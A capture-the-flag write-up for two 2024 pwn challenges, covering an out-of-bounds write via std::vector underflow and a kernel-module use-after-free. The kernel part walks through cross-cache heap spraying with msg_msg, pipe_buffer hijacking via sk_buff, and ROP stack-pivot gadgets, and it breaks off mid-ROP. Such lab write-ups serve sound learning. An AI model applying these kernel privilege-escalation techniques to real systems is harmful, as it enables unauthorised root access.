-->
I participated with Blahaj in Lag and Crash 2024 this year and got 1st place :)
It had a couple of cool pwn challs (including kernel pwn!!), here are my writeups for them!
This plaza is full of lucky numbers.
Author: flyyee
When I first saw the challenge and realized itโs C++, I got scared and thought itโs gonna be super hard. But finishing the rest of the pwn challs, I had nothing else to do so I decided to try again. Luckily, source was given so I donโt need to reverse C++ binaries
The lucky numbers are stored in a vector, and we can perform common CRUD operations on it. To delete, we need to guess a seeded RNG number, which will pop from the back of the vector.
We see that the view
and modify
functions check the bounds of the array, but donโt use the .at()
method for
vectors, which may indicate possible OOB!
The only way is to make idx - 1 >= vec.size()
. Initially, I thought idx - 1
was the vuln by integer underflow, but
after trying a lot it doesnโt work.
Based on my extensive experience with C++ pwn challenges, amounting to a total of 1, I remembered trying to exploit the
std::string
struct. The essence of the challenge was to use std::string
to perform some kind of heap feng shui and
subsequently get arb write. So I thought this challenge would be similar too, and started looking at how std::vector
works under the hood.
Note: this chall was very hard to debug locally because C++ needs a lot of random libaries which I didnโt manage to link during the CTF. So I setup GDB in the Docker container provided instead.
Dockerfile for debugging below ๐
I allocated 1 lucky number and looked at the std::vector
in the stack. We can see that itโs simply represented by 3
pointers: head
, tail
and max_size
. head
and tail
are abvious. max_size
is the end of the chunk that holds
the vector, and is used to indicate when the vector should resize and reallocate (not important for this challenge
though)
00:0000โ 0x7ffed6bdb140 โโธ 0x557e0b4f3720 โโ 0x2a /* '*' */
01:0008โ 0x7ffed6bdb148 โโธ 0x557e0b4f3730 โโ 0x0
02:0010โ 0x7ffed6bdb150 โโธ 0x557e0b4f3730 โโ 0x0
Iโm not sure where the struct size/type for vector is stored, so that it knows how to iterate through the pointers and
how much space to allocate for each element. Nonetheless, the implementation canโt be that complicated. Anyway, we can
make a guess at how .size()
is calculated:
pwndbg> p/x (0x557e0b4f3730-0x557e0b4f3720) / 8
$3 = 0x2
or in generic form (tail - head) / sizeof(long)
. We can confirm this in the
source for libstdc++
:
Looking at this, is there any way to make .size()
return a negative value? We can by making tail < head
, since it
doesnโt perform any checks before returning the value! Once ths size is negative (and the value returned by .size()
is
type size_t
- unsigned), we will underflow to 0xffffffffffffffff
and achieve OOB read/write. How can we do this?
The 2 other operations we have acting on the vector are .push_back()
and .pop_back()
. Letโs look at the source for
both.
As we can see, .push_back()
implementation is quite simple as well (I wonโt go into .construct
and insert_aux
cos
itโs not relevant). It just appends the item to the end and increments tail
.
In .pop_back()
, we see that it decrements tail
and removes the last element, without doing any checks! This will
allow us to make tail
smaller than head
.
From here, we know our vector is stored on the heap. Are there any targets worth attacking using our OOB?
At first, I thought this was a heap challenge and tried attacking fd
ptr of other freed chunks. However, because of the
nature of std::vector
, it doesnโt free the chunk if size is reduced. So once the chunk is freed, since we donโt have
any other access to the heap, we have no way to reclaim the chunk. This means a simple tcache poisoning wonโt work.
Another idea was to attack the tcache struct, which is also found on the heap. We can see it looks something like this:
pwndbg> x/32gx 0x557e0b4e1000
0x557e0b4e1000: 0x0000000000000000 0x0000000000000291
0x557e0b4e1010: 0x0000000000000001 0x0000000000000000
0x557e0b4e1020: 0x0000000000000000 0x0000000000000000
0x557e0b4e1030: 0x0000000000000000 0x0000000000000000
0x557e0b4e1040: 0x0000000000000000 0x0000000000000000
0x557e0b4e1050: 0x0000000000000000 0x0000000000000000
0x557e0b4e1060: 0x0000000000000000 0x0000000000000000
0x557e0b4e1070: 0x0000000000000000 0x0000000000000000
0x557e0b4e1080: 0x0000000000000000 0x0000000000000000
0x557e0b4e1090: 0x0000557e0b4f36d0 0x0000000000000000
0x557e0b4e10a0: 0x0000000000000000 0x0000000000000000
0x557e0b4e10b0: 0x0000000000000000 0x0000000000000000
0x557e0b4e10c0: 0x0000000000000000 0x0000000000000000
0x557e0b4e10d0: 0x0000000000000000 0x0000000000000000
0x557e0b4e10e0: 0x0000000000000000 0x0000000000000000
0x557e0b4e10f0: 0x0000000000000000 0x0000000000000000
After locating the correct size and member in the struct, we technically can create a fake fd
pointer, change the
number of chunks in the tcache, and then allocate a chunk of the same size to get our arb write. However, I quickly
realized itโs very hard to control this, especially if we want to do 2 writes (or 1 read + 1 write) for exit_funcs
,
because std::vector
quickly grows into unsorted size (size doubles every time it reallocates). And also it will never
shrink back to tcache size. Also, in order to leak libc from heap, we need a unsorted chunk to read the main_arena
address. So the attack will become very limited and complicated. In theory it might be possible, but we need good heap
control.
Without any good targets on the heap, we need to use our OOB to attack stuff outside the heap. The most obvious target
is libc, which lies after the heap (but is not adjacent). Because our size is now 0xffffffffffffffff
, we basically
have access to everything in memory, as long as we know the address so we can calculate the offset from the vector.
To get the lucky numbers for pop_back()
, we can see that itโs seeded with time(0)
. So we can just write a script to
generate the numbers at the same time as when we connect, and the numbers should be the same most of the time.
Now, we need a heap and libc leak to calculate our OOB offset. As mentioned, we can leak libc from unsorted
chunks! Also, std::string
allocates a growing chunk as the string length increases, giving us access to unsorted. So
we can allocate a big enough name and get our unsorted chunk already. For heap leak, itโs even easier - there are
already freed tcache chunks in the heap, so just leak one of the fd
pointers.
Then, we can just calculate the offset from ptr_guard
and exit_funcs
, and win :)
Storing explosive chemicals in the kernel is a wonderful idea! Surely nothing can go wrongโฆright?
Author: Kaligula
This was my favourite challenge in the entire CTF because itโs kernel pwn. I didnโt solve it during the CTF sadly, but I
got until past cross-cache (with msg_msg
in my UAF object). I didnโt know enough kernel pwn tricks to proceed after
that, and was looking for some arb write with msgmsg_seg
and race condition to overwrite modprobe_path
(after
checking, the kernel disables mobprobe_path
technique so it wouldnโt work anyway).
Also, this is my first time doing kernel pwn, so Iโll try to be super detailed in my writeup here :)
Initially, source wasnโt given out and I had a hard time reversing the module, cos of a few weird artifacts in the decompilation. After source was released, I quickly found the UAF bug. The full source is available in the repo, Iโll just analyse the important bits here.
Here, itโs quite a basic create function - it reads and allocates a chemical in kmalloc-256
page. The chemical is
slotted into a doubly-linked list (maintained using kernel functions!) and there is a chemical_head
struct for this
purpose. The idx
is used to keep track of the actual index of the chemical in the list and identify it.
A page is basically a mini-heap-cache for kernel, and there are hundreds of them in the kernel. Each page can physically store 16 chunks of the same size, and there can be multiple pages per size. There are empty pages (which will be unallocated by the kernel soon), partial pages (which have a mix of used and free chunks), and full pages (which have all chunks used and hence become inactive until a chunk in the page is freed).
A slab is a contiguous block of memory divided into pages. There are different slabs for different purposes, which the
kernel uses in order to improve security (it has lots of space for these slabs anyway). For example, there is
kmalloc-256
and kmalloc-cg-256
, where chunks allocated with GFP_KERNEL_ACCOUNT
are stored in cg
, and normal
chunks are stored in the general-purpose page type kmalloc-256
. This provides even more separation between chunks used
for different purposes. Lastly, the code path taken to allocate a chunk is also important, as it is used as a seed to
determine which of the many kmalloc-256
pages to allocate to. So itโs quite confusing and unpredictable where our
chunks will end up (other than knowing the type of cache).
(thx to Kaligula for correcting my misconception about buddy allocator freeing pages instead of slabs!)
With this, we see that the chemical struct should appear in kmalloc-256
, while the note should appear in
kmalloc-cg-256
. This didnโt turn out to be terribly important for the final exploit, but I did try to exploit this
later on.
A chemical has the following struct:
0xffff888100f8cd00: 0x0000000000000000 0x0000000000000000 -> name..
0xffff888100f8cd10: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd20: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd30: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd40: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd50: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd60: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd70: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd80: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd90: 0x0000000000000000 0x0000000000000000
0xffff888100f8cda0: 0x0000000000000000 0x0000000000000000
0xffff888100f8cdb0: 0x0000000000000000 0x0000000000000000
0xffff888100f8cdc0: 0x0000000000000000 0x00000000deadbeef -> ..name, quantity
0xffff888100f8cdd0: 0x00000000cafebabe 0x0000000000000000 -> cas, idx
0xffff888100f8cde0: 0xffffffffc0002640 0xffff888100f8cce0 -> fd, bk
0xffff888100f8cdf0: 0x0000000000000040 0xffff888100fb3540 -> note_size, note_addr
The code here is pretty secure, so letโs move on.
Letโs look at both DO_READ
and DO_DELETE
since theyโre quite short and similar.
In DO_READ
, we iterate through the list, looking for the chemical with the supplied idx
. Once found, it returns the
note
and name
.
In DO_DELETE
, we do the same and once found, we remove it from the linked list, then free both the chemical and its
note. Check are done in list_del
to make sure our linked list is valid.
Now, for the most interesting and complicated function - DO_REPLACE
.
We canโt directly update a chemical. Instead, we can free it and allocate a new one in place (only in terms of idx
, in
the linked list we are appending to tail). We then continue to allocate the new note and read in the input for note
and name
. The vulnerability here is that chem
is added to the list before the check for note == NULL
, giving us
UAF if kmalloc(note_size)
fails! After some playing around, I found out that kmalloc(0xffffffffffffffff)
will fail
(of course, since thereโs no space to allocate that big a chunk).
Once I found the UAF I thought the rest would be trivial. How wrong I wasโฆ
What can we do with this UAF? Since it was my first time doing kernel pwn, I thought the slub allocator was similar to
libcโs malloc
, so I thought that it would just be a trivial double free and fd
overwrite. However, I soon realized
that the allocator actually does checks to ensure the pointer is in a valid slub before allocating and updating the
cache head with the poisoned fd
. If not, it exits with a slub error.
In fact, hereโs how a freed chemical looks like:
gef> x/32gx 0xffff888101dbde00
0xffff888101dbde00: 0x0000000000000000 0x0000000000000000
0xffff888101dbde10: 0x0000000000000000 0x0000000000000000
0xffff888101dbde20: 0x0000000000000000 0x0000000000000000
0xffff888101dbde30: 0x0000000000000000 0x0000000000000000
0xffff888101dbde40: 0x0000000000000000 0x0000000000000000
0xffff888101dbde50: 0x0000000000000000 0x0000000000000000
0xffff888101dbde60: 0x0000000000000000 0x0000000000000000
0xffff888101dbde70: 0x0000000000000000 0x0000000000000000
0xffff888101dbde80: 0xb8e3cef4e3fa3393 0x0000000000000000
0xffff888101dbde90: 0x0000000000000000 0x0000000000000000
0xffff888101dbdea0: 0x0000000000000000 0x0000000000000000
0xffff888101dbdeb0: 0x0000000000000000 0x0000000000000000
0xffff888101dbdec0: 0x0000000000000000 0x0000000000000005
0xffff888101dbded0: 0x0000000000000006 0x0000000000000000
0xffff888101dbdee0: 0xffffffffc0002640 0xffffffffc0002640
0xffff888101dbdef0: 0x0000000000000000 0x0000000000000000
The pointer at 0xffff888101dbde80 is actually the encrypted fd
, which has a different encryption key for every page!
This makes it super hard to overwrite the fd, even disregarding the check done above. The weird thing is I remember
using just this to overwrite modprobe_path
in another kernel pwn practice I tried last time. Maybe itโs just the
kernel version.
Anyway, a simple double free to get arb write doesnโt work in here. After reading more kernel writeups, I realized a lot
of people talked about โuseful structures to exploitโ. Reading more, I learnt that a huge part of kernel pwn is finding
the right structure that you can exploit with the UAF available to you (hence why stuff like cross-cache exist as well).
With this newfound knowledge, I re-evaluated my UAF and narrowed down 2 structs I could exploit, at kmalloc-256
size:
msg_msg
timerfd_ctx
Letโs look at both of them!
msg_msg
This struct can be initialized like this:
And it can be freed like this:
msg_msg
is allocated in this function:
As we can see, msg_msg
is allocated using GFP_KERNEL_ACCOUNT
, which means itโs going into the kmalloc-cg-256
cache.
We can also allocate multiple different-size msg_msg
in the same queue (which will be linked via a double-linked list
in m_list
), and free in any order by specifying mtype
.
The structure of msg_msg
is
So the first 0x30 bytes are struct metadata, and the following is our buffer input. This struct thus has variable size,
which just needs to be greater than 0x30. However, the struct as we remember is in a different cache, since our
chemicals are in kmalloc-256
, while this can only be in kmalloc-cg-256
. This means that (for now) we canโt use this
struct to replace our UAF object. Letโs look at timerfd_ctx
instead.
timerfd_ctx
This struct can be initialized like this:
And it will be freed a short while after closing timer_fd
.
The struct is allocated as such:
We see here that itโs allocated with GFP_KERNEL
. This means itโs in kmalloc-256
, the
same cache as chemical!
The struct is as follows:
Because of the union, alarm
and hrtimer
are mutually exclusive during the lifetime of this struct, so only 1 can
exist at a time. I believe when first intialized, the struct is using alarm
, but I canโt decipher the actual struct at
all. Hereโs what it looks like in memory:
gef> x/32gx 0xffff888101dbde00
0xffff888101dbde00: 0xffff888101dbd400 0xffff888101dbd300
0xffff888101dbde10: 0xffff888100e63d28 0x000000027d06f6cc
0xffff888101dbde20: 0x000000027d06f6cc 0xffffffff81285cc0
0xffff888101dbde30: 0xffff88813bc1e240 0x0000000000000001
0xffff888101dbde40: 0x0000000000000000 0x0000000000000000
0xffff888101dbde50: 0x0000000000000000 0x0000000000000000
0xffff888101dbde60: 0x0000000000000000 0x0000000000000000
0xffff888101dbde70: 0x0000000000000000 0x000000003b9aca00
0xffff888101dbde80: 0x17c09f6bff3a44e6 0x0000000000000000
0xffff888101dbde90: 0xffff888101dbde90 0xffff888101dbde90
0xffff888101dbdea0: 0x0000000000000000 0x0000000000000000
0xffff888101dbdeb0: 0x0000000000000000 0x0000000000000000
0xffff888101dbdec0: 0x0000000000000000 0x0000000000000000
0xffff888101dbded0: 0x0000000000000000 0x0000000000000000
0xffff888101dbdee0: 0x0000000000000000 0x0000000000000000
0xffff888101dbdef0: 0x0000000000000000 0x0000000000000000
Anyway, without fully understanding the struct, we still can see that we can leak kbase
from the function pointer at
+0x18
, which is pretty useful. When we free the object, we get something like this:
gef> x/32gx 0xffff888101dbde00
0xffff888101dbde00: 0xffff888101dbde00 0xffff888101dbd800
0xffff888101dbde10: 0xffff888100e63d28 0x000000027d06f6cc
0xffff888101dbde20: 0x000000027d06f6cc 0xffffffff81285cc0
0xffff888101dbde30: 0xffff88813bc1e240 0x0000000000000001
0xffff888101dbde40: 0x0000000000000000 0x0000000000000000
0xffff888101dbde50: 0x0000000000000000 0x0000000000000000
0xffff888101dbde60: 0x0000000000000000 0x0000000000000000
0xffff888101dbde70: 0x0000000000000000 0x000000003b9aca00
0xffff888101dbde80: 0x17c09f6bff3a44e6 0x0000000000000000
0xffff888101dbde90: 0xffff888101dbde90 0xffff888101dbde90
0xffff888101dbdea0: 0x0000000000000000 0x0000000000000000
0xffff888101dbdeb0: 0x0000000000000000 0x0000000000000000
0xffff888101dbdec0: 0x0000000000000000 0x0000000000000000
0xffff888101dbded0: 0x0000000000000000 0x0000000000000000
0xffff888101dbdee0: 0x0000000000000000 0x0000000000000000
0xffff888101dbdef0: 0x0000000000000000 0x0000000000000000
We can see that +0x00
now points to itself, which is an excellent kheap leak to determine the address of the
timerfd_ctx object! (why it does this, I have no idea)
So if timerfd_ctx
overlaps UAF object and is freed, we can achieve the following from DO_READ
:
kmalloc-256
Pretty useful!
I think if we had some way to edit chemical, we could have ended here after re-allocating the timerfd_ctx
, as +0x18
holds a function pointer which will be called when the timer expires, and we can simply edit the chemical to change this
pointer. However, since we canโt, we need to explore further.
After using timerfd_ctx
to leak some values, we want to upgrade the UAF to some other struct. Our first target is
msg_msg
. But msg_msg
is still in kmalloc-cg-256
. How do we trick it to start allocating msg_msg
at our UAF? This
is where cross-cache attack comes in.
The idea is to use the buddy allocator and slab freeing mechanism to free the kmalloc-256
cache containing our UAF object, then
re-allocate the slab containing our page and make sure itโs used for kmalloc-cg-256
. That way, the old page that
contained our UAF object will now be used to store msg_msg
, and there will be a msg_msg
that overlaps with the UAF
object! msg_msg
is quite ideal here as all the fields in chemical
will be covered by msg_msg
input buffer,
allowing us to mess around more with the chemical struct.
So, we want to fully control the entire slab containing our UAF object, such that we can free all the chunks in it and
cause it to be reused for msg_msg
. One way to do this is to pad the object with timerfd_ctx
chunks before and after,
so that the entire slab will be filled up. However, due to the unpredictability of SLUB allocator, we wonโt know exactly
in which page in the slab our object is allocated.
But kernel memory is cheap, and we can spam as many chunks as we want. By spraying, we will greatly increase the chances of complete slab allocation. For some reason, only certain spray sizes actually work and itโs quite random. In the end, the spray size and insertion index (where to sneak in our UAF object during the spray) that worked for me were 0x2000 and 0x1500 respectively.
So, I will spray 0x14ff timerfd_ctx
objects, perform the UAF using DO_CREATE
and DO_REPLACE
, then spray 0xb01 more
timerfd_ctx
objects.
After this, we can free all the timerfd_ctx
structs, and hopefully the slab will be unallocated as well. Now, we just
need to spray lots of msg_msg
objects to reclaim the slab and complete the cross-cache attack. A good practice is to
place the queue index in msg_msg
so we can identify the msg_msg
that overlaps our object. After doing this spray, we
have successfully crossed the boundary from kmalloc-256
to kmalloc-cg-256
!
By the way, the spray sizes I used in my final exploit are way too excessive - you can probably get by with much less! (pls no kernel abuse)
With msg_msg
and chemical
now overlapping, letโs consider our options. Because chemical
canโt be edited, what we
have from chemical
overlapping msg_msg
is a free on msg_msg
, but no control over msg_msg
fields. In contrast,
what we have from msg_msg
overlapping chemical
is that msg_msg
can overwrite chemical
fields upon allocation.
This means that msg_msg
has to be the initial arb write to overwrite chemical
fields, and we know this is very
possible from the layout of both structs, because the input buffer of msg_msg
overlaps the fields in chemical
.
chemical
0xffff888100f8cd00: 0x0000000000000000 0x0000000000000000 -> name..
0xffff888100f8cd10: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd20: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd30: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd40: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd50: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd60: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd70: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd80: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd90: 0x0000000000000000 0x0000000000000000
0xffff888100f8cda0: 0x0000000000000000 0x0000000000000000
0xffff888100f8cdb0: 0x0000000000000000 0x0000000000000000
0xffff888100f8cdc0: 0x0000000000000000 0x00000000deadbeef -> ..name, quantity
0xffff888100f8cdd0: 0x00000000cafebabe 0x0000000000000000 -> cas, idx
0xffff888100f8cde0: 0xffffffffc0002640 0xffff888100f8cce0 -> fd, bk
0xffff888100f8cdf0: 0x0000000000000040 0xffff888100fb3540 -> note_size, note_addr
msg_msg
0xffff888100f8cd00: 0xffff888103b06800 0xffff88810279c400 -> fd, bk
0xffff888100f8cd10: 0x0000000000000256 0x00000000000000d0 -> mtype, m_textsize
0xffff888100f8cd20: 0x0000000000000000 0xffff888101d26dc8 -> next, security
0xffff888100f8cd30: 0x0000000000001218 0x0000000000000000 -> user input starts here
0xffff888100f8cd40: 0x0000000000000000 0x0000000000000000
0xffff888100f8cd50: 0x0000000000422245 0x0000000000000000
0xffff888100f8cd60: 0x00000000004ab7a0 0x0000000000000290
0xffff888100f8cd70: 0x0000000000414470 0x00000000016e2d00
0xffff888100f8cd80: 0x0000000000000300 0x0000000000000000
0xffff888100f8cd90: 0x0000000000000000 0x0000000000021000
0xffff888100f8cda0: 0x0000000000000000 0x0000000000000000
0xffff888100f8cdb0: 0x0000000000000290 0x0000000000000027
0xffff888100f8cdc0: 0x0000000000000280 0x0000000000000256
0xffff888100f8cdd0: 0x0000000000000256 0x0000000000000000
0xffff888100f8cde0: 0x0000000000000000 0x0000000000000000
0xffff888100f8cdf0: 0x0000000000000000 0x0000000000000000
The fields worth attacking are chem.idx
, chem.fd
, chem.bk
and chem.note_addr
. For now, we donโt know what to put
for chem.fd
, so letโs ignore it first. chem.bk
should be chemical_head
which we can calculate from kbase leak.
chem.idx
is just our desired index to identify the chemical, so just set to 0x0. chem.note_addr
is interesting, as
it not only gives arb read via DO_READ
but also arb free via DO_DELETE
. However, we also donโt know what to put yet,
so just leave it empty for now. kfree(0)
will not crash.
Another interesting leak we have is through chem.name
, since it points to the top of the chunk, ie. the members of
msg_msg
and a bit of the user input. With this, we can leak a few things:
msg_msg.fd
- this is important later onmsg_msg.bk
- also important later onmsg_msg.text
- can leak the msg_msg.idx
we placed at the start of user inputLast thing to note: since weโre using linked list for chemical, before we can exploit the arb free, we need to fix the
linked list. Otherwise, when we DO_DELETE
, the kernel will detect corrupted linked list and exit. The conditions we
need to fulfill are very similar to that of unsorted heap linked list check.
Itโs just checking if p->bk->fd == p && p->fd->bk == p
, a check we know several bypass methods for from regular pwn
because of unlink attack and stuff. The most obvious and easy method is to make it point to itself at a certain offset,
such that it fulfills the check. But this may cause the list to become corrupt after DO_DELETE
(especially
chemical_head
, which is bad because we wouldnโt be able to make more chemicals) I donโt really want to screw up the
linked list so quickly, because I might need more chemicals in the future. And we can also do better than that!
So, the long and tedious way is to construct a fake linked list using more msg_msg
structs, and eventually freeing the
one in the middle of our list. This way, we can guarantee that the check passes during the free since it only checks the
adjacent elements in the list. This means dealing with more fake chemicals, but we donโt need to do it via UAF anymore.
We can just directly link our UAF chemical with the other fake chemicals via chemical.fd
and chemical.bk
, and place
our fake chemicals elsewhere! This is a lot easier once we manage get our leaks, which we unfortunately donโt have yet.
msg_msg
Recall that msg_msg
had the fd
and bk
pointers as well? These are used to point to the next and prev msg_msg
in
the same queue, implementing the doubly-linked list. These are ordered by time of creation, so if I create 2 msg_msg
like this:
We can see that the msg_msg
with buf1
will have msg_msg.fd
pointing to the
msg_msg
with buf2
, and vice versa with msg_msg_2.bk
pointing to
msg_msg_1
. This is a very useful property when combined with our leak from
chemical.name
, as it allows us to leak the address of the previous and next
msg_msg
in the queue.
Now, we can use msg_msg.fd
to leak subsequent msg_msg
structs and โcascadeโ down the msg_msg
linked list, fixing
the fake chemical
linked list as we go along.
Basically, after spraying kmalloc-cg-256
to cover UAF object, we spray another round of msg_msg_2
in
kmalloc-cg-512
over the same queues. For each queue, msg_msg_1.fd
will now point to the new msg_msg_2
in
kmalloc-cg-512
. By leaking this pointer, we have a reference pointer to where our next fake chemical
can be. Knowing
the idx
of the specific queue containing our UAF object, we can re-populate the fields of the UAF chemical, by doing
msgrcv
on that particular queue and freeing msg_msg_1
in kmalloc-cg-256
, then spraying a new msg_msg_1_fixed
on
kmalloc-cg-256
, reclaiming the original msg_msg_1
address. (note the need to spray, as during the process of
allocating, cache randomization may change the cache weโre allocating in) Eventually, msg_msg_1_fixed
will overlap
with the UAF object again, fixing the chemical in-place.
But what should we update in msg_msg_1_fixed
? We must make chemical.fd
point to the next fake chemical
at the
leaked address. This way, the chemical linked list will consist of 1 completely valid (in terms of linked list) chemical
which is our UAF object. While the 2nd chemical is not yet valid, we can DO_READ
on it now, giving us another leak
which we can use, allowing us to repeat the above steps to fix itself and point to the 3rd object, and so on.
This is what itโs gonna look like after fixing, for now:
Why use different chunk sizes for each msg_msg
? Itโs a lot easier to pinpoint an address when spraying a size wonโt
accidentally overwrite my known pointer. Also, it doesnโt actually matter where fulfill.fd
points to, cos our program
will never actually check that in the subsequent exploit.
We now have a good linked list! Attacker chunk can be freed, which will link UAF object and fulfill chunk, without
severely messing up the linked list or failing any checks. But we still havenโt decided what chem.note_addr
should be!
As noted earlier, chem.note_addr
gives us arbitrary free when deleting the chemical. What we want right now is to
upgrade our UAF from just kmalloc-cg-256
to any cache we want, becoming an arbitrary free. So a good idea would be to
make this point to a vulnerable struct of our choice. But what struct to choose?
tty_struct
I found lots of resources on how to exploit tty_struct
for RIP control. Below is the struct layout:
(bruh why is there __randomize_layout
, doesnโt that mess up the ordering of the struct??)
As we can see, our target is tty_struct.ops
, which we need to craft a fake vtable for.
I didnโt actually write an exploit for this, but at first glance it seems possible. In my exploit, I targeted
pipe_buffer
for RIP control instead.
(edit: Kaligula mentioned that tty_struct
is allocated using GFP_KERNEL
, so itโs actually not possible)
pipe_buffer
This struct is a lot simpler and smaller.
And we can see it being allocated here:
We see that itโs allocated with GFP_KERNEL_ACCOUNT
. For some reason, the size is 1k
despite the small size of the
struct, but anyway this means the cache page is kmalloc-cg-1k
. So, we should try and pivot our UAF to this cache page.
But how to leak this structโs address after allocation? This is where msg_msg
comes into play again. Right now, weโve
used up cg_256_msg_msg.fd
and cg_512_msg_msg.fd
to obtain addresses for the chemical linked list. However, we
actually havenโt used either cg_256_msg_msg.bk
or cg_1k_msg_msg.fd
. First things first, to separate our 3rd fake
chemical (which uses kmalloc-cg-1k
already) from our target struct, we should change the 3rd chemicalโs cache to
kmalloc-cg-2k
to avoid any potential overlap. Then, we can spray kmalloc-cg-1k
with msg_msg
before the spray for
kmalloc-cg-256
, such that cg_256_msg_msg.bk
will point to kmalloc-cg-1k
, thus giving us our leak. Then, we can fix
the attacker chemical with the leaked address at note_addr
. Lastly, we spray pipe_buf
on kmalloc-cg-1k
, allowing
us to reclaim the address we leaked.
So this is our new linked list:
When attacker
is freed, it will also free the pipe_buf
object, which we can then reallocate with some other struct,
possibly overwriting pipe_buffer.ops
with a fake vtable address.
Now we can almost exploit our new arbitrary free to control RIP by overwriting pipe_buffer.ops
. Can we still use
msg_msg
to achieve this?
msg_msg
againHere are the structs of msg_msg
and pipe_buf
in memory:
msg_msg
0xffff888103b06800 0xffff88810279c400 -> fd, bk
0x0000000000000256 0x00000000000000d0 -> mtype, m_textsize
0x0000000000000000 0xffff888101d26dc8 -> next, security
0x0000000000001218 0x0000000000000000 -> user input starts here
0x0000000000000000 0x0000000000000000
0x0000000000422245 0x0000000000000000
0x00000000004ab7a0 0x0000000000000290
0x0000000000414470 0x00000000016e2d00
0x0000000000000300 0x0000000000000000
0x0000000000000000 0x0000000000021000
0x0000000000000000 0x0000000000000000
0x0000000000000290 0x0000000000000027
0x0000000000000280 0x0000000000000256
0x0000000000000256 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
pipe_buf
0x0000000000000000 0x0000000000000000 -> page, offset+len
0x0000000000000000 0x0000000000000000 -> ops, flags+private
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000
(no idea why all the fields for pipe_buf
are left as nulled after the kcalloc()
- shouldnโt some fields be
initialized? maybe i need to trigger some operations to setup fieldsโฆ)
Anyway, we see that pipe_buf.ops
actually aligns nicely with msg_msg.mtype
. Since we can control mtype
, canโt we
use this to control pipe_buf.ops
and win?
Unfortunately, not quite for 2 reasons. Firstly, when I tried to trigger the RIP control by releasing the pipe_buf
, it
seems that it sees the other fields in msg_msg
like msg_msg.fd
, msg_msg.bk
and so on, and tries to free them,
before calling pipe_buf.ops->release
. I donโt exactly know where this code is, but what seems to happen is it attempts
to read and store the address to release
somewhere without calling it, then does a few frees which crashes the kernel
due to detected double free, before release
is actually called. Secondly, even if the initial exploit worked, for our
ROP chain later, because of gadget constraints, our stack will end up pointing to top of pipe_buf
object
(msg_msg.fd
), which we have no control over. Then the ROP chain will crash because msg_msg.fd
is not pointing to a
valid instruction address.
chemical.note
At this point, I turned back to the chemical note and how itโs stored using GFP_KERNEL_ACCOUNT
, making it appear in
cg
cache. I have complete control over the entire note as well! Isnโt this exactly what I want? So I went down this
path for a while too.
However, it turns out I neglected to consider that the max size of a note is 100
, as seen in DO_CREATE
. So we canโt
actually create a note in kmalloc-cg-1k
.
sk_buff
After researching more, I realize that sk_buff
(or more precisely, sk_buff.head
) is very commonly used to attack
pipe_buf
because of its unique structure. Hereโs what it looks like:
I couldnโt find the allocate code for sk_buff.head
, but it is allocated in kmalloc-cg-1k
as well. The unique thing
about this struct is that the user input actually appears at the top of the struct, while metadata is found at the
bottom. This is really useful for our pipe_buf
overwrite, since pipe_buf
metadata is found at the top of its struct,
so we can overwrite the metadata of pipe_buf
easily!
To initialize an sk_buff
and write data to head:
Now, we can spray and allocate sk_buff.head
over pipe_buf
, overwriting pipe_buf.ops
to our desired vtable. We can
put the fake vtable inside sk_buff.head
as well, since we already know its address from kmalloc-cg-1k
kheap leak.
Now that our pipe_buf
is set up, we can start planning our ROP chain to priv escalate! We will be using ops.release
to control RIP, which is called when pipe_buf
is closed.
As we can see, the second argument to release
, in rsi
, will be the address of the pipe_buf
that weโre freeing.
Thus, rsi
is quite a good register to focus on to stack pivot, since we can control the contents of the address at
which itโs pointing to. This is why we canโt use msg_msg
and need to use sk_buff
instead, because we donโt have
control over the start of msg_msg
and thus canโt make a good fake stack.
Letโs find a good stack pivot gadget first. Gadgets that end with ret
are not suitable, because our stack isnโt setup
yet, so we canโt ROP properly. call
or jmp
on a register we control like rsi
are the best.
0xffffffff81556dc6 : push rsi ; jmp qword ptr [rsi + 0x39]
0xffffffff81602195 : push rsi ; jmp qword ptr [rsi - 0x7d]
0xffffffff81602d23 : push rsi ; jmp qword ptr [rsi - 0x7f]
There are actually a lot more suitable gadgets, but these are the most straightforward. [rsi + 0x39]
is under our
control, so we can put a second gadget there. The point of push rsi
is to put a pointer we control at the top of the
original stack, so our second gadget can simply be pop rsp
which will change rsp
to the saved value of rsi
, and
complete the stack pivot.
0xffffffff81135dff : pop rsp ; ret
Letโs take a step back and look at our current sk_buff/pipe_buf
object:
gef> x/200gx 0xffff8881026ca400
0xffff8881026ca400: 0x0000000000000000 0x0000000000000000
0xffff8881026ca410: 0xffff8881026ca690 0x0000000000000000
0xffff8881026ca420: 0x0000000000000000 0x0000000000000000
0xffff8881026ca430: 0x0000000000000000 0xffffff81135dff00 // +0x39
0xffff8881026ca440: 0x00000000000000ff 0x0000000000000000
...
0xffff8881026ca690: 0x0000000000000000 0xffffffff81556dc6 // +0x290
0xffff8881026ca6a0: 0x0000000000000000 0x0000000000000000
After pivoting stack to +0x00
, the program will read the next ROP gadget from +0x00
, and continue sequentially from
there. We donโt have a lot of space on this new stack, because at +0x10
, the pointer to our vtable is still there, and
at +0x39
, we put the gadget called in jmp qword ptr [rsi + 0x39]
, and we must remember not to overwrite these while
writing our final ROP chain. The best solution to avoid conflict with these pointers is to pivot once more, now to
